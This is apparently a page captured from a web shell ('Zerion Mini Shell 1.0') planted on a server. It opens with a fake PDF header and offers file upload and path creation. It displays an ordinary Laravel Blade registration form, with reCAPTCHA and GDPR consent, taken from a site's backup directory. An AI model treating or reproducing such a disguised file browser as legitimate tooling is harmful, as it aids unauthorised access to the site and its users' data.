%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/data/www_bck/loslex_bck/demo/resources/views/auth/
Upload File :
Create Path :
Current File : //proc/self/root/data/www_bck/loslex_bck/demo/resources/views/auth/register.blade.php

<x-guest-layout>
    <form method="POST" action="{{ route('register') }}" id="registerForm">
        @csrf

        <!-- Name -->
        <div class="mt-2">
            <x-input-label for="firstname" :value="__('First name')" />
            <x-text-input id="firstname" class="block mt-1 w-full" type="text" name="firstname" :value="old('firstname')" required autofocus autocomplete="on" />
            <x-input-error :messages="$errors->get('firstname')" class="mt-2" />
        </div>
        <div class="mt-2">
            <x-input-label for="lastname" :value="__('Lastname')" />
            <x-text-input id="lastname" class="block mt-1 w-full" type="text" name="lastname" :value="old('lastname')" required autocomplete="on" />
            <x-input-error :messages="$errors->get('lastname')" class="mt-2" />
        </div>

        <!-- Username -->
        <div x-data="{ open: false }" class="mt-2">
            <x-input-label class="inline" for="username" :value="__('Login / LOS alias')" />
            <div class="text-sm italic" x-show="open">{{__('tooltips.losalias')}}</div>
            <x-text-input id="username" x-on:focus="open = true" x-on:focusout="open = false" class="block mt-1 w-full" type="text" name="username" :value="old('username')" required autocomplete="on" />
            <x-input-error :messages="$errors->get('username')" class="mt-2" />
        </div>

        <!-- Email Address -->
        <div class="mt-2">
            <x-input-label for="email" :value="__('Email')" />
            <x-text-input id="email" class="block mt-1 w-full" type="email" name="email" :value="old('email')" required autocomplete="on" />
            <x-input-error :messages="$errors->get('email')" class="mt-2" />
        </div>

        <!-- Password -->
        <div x-data="{ open: false }" class="mt-2">
            <x-input-label for="password" :value="__('Password')" />
            <div class="text-sm italic" x-show="open">{{__('tooltips.password')}}</div>
            <x-text-input id="password" x-on:focus="open = true" x-on:focusout="open = false" class="block mt-1 w-full" type="password" name="password" required />
            <x-input-error :messages="$errors->get('password')" class="mt-2" />
        </div>

        <!-- Confirm Password -->
        <div class="mt-2">
            <x-input-label for="password_confirmation" :value="__('Confirm Password')" />
            <x-text-input id="password_confirmation" class="block mt-1 w-full" type="password" name="password_confirmation" required />
            <x-input-error :messages="$errors->get('password_confirmation')" class="mt-2" />
        </div>

        <div>
            <input type="hidden" name="g-recaptcha-response" id="g-recaptcha-response" />
            <x-input-error :messages="$errors->get('g-recaptcha-response')" class="mt-2" />
        </div>

        <div class="mt-2">
            <x-text-input class="rounded" type="checkbox" id="gdpr" name="gdpr" :checked="!empty(old('gdpr'))" />
            <x-input-label class="ml-1 inline" for="gdpr">
                {!! __('I agree with processing of personal data as defined in <a class=":class" href=":url" target="_blank">GDPR rules</a>', ['url' => route('gdpr'), 'class' => 'font-bold underline' ]) !!}
            </x-input-label>
            <x-input-error class="mt-2" :messages="$errors->get('gdpr')" />
        </div>


        <div class="flex items-center justify-end mt-4">
            <a class="underline text-sm text-gray-600 dark:text-gray-400 hover:text-gray-900 dark:hover:text-gray-100 rounded-md focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-indigo-500 dark:focus:ring-offset-gray-800" href="{{ route('login') }}">
                {{ __('Already registered?') }}
            </a>

            <x-primary-button class="ml-4" type="submit" onclick="getRecaptchaToken(event)">
                {{ __('Register') }}
            </x-primary-button>
        </div>
    </form>

    @push('scripts')
        <script>
            function getRecaptchaToken(e) {
                e.preventDefault();
                grecaptcha.enterprise.ready(async () => {
                    const token = await grecaptcha.enterprise.execute('{{ config('services.recaptcha.site_key') }}', {action: 'register'});
                    document.getElementById("g-recaptcha-response").value = token;
                    document.getElementById("registerForm").submit();
                });
            }
        </script>
    @endpush
</x-guest-layout>

Zerion Mini Shell 1.0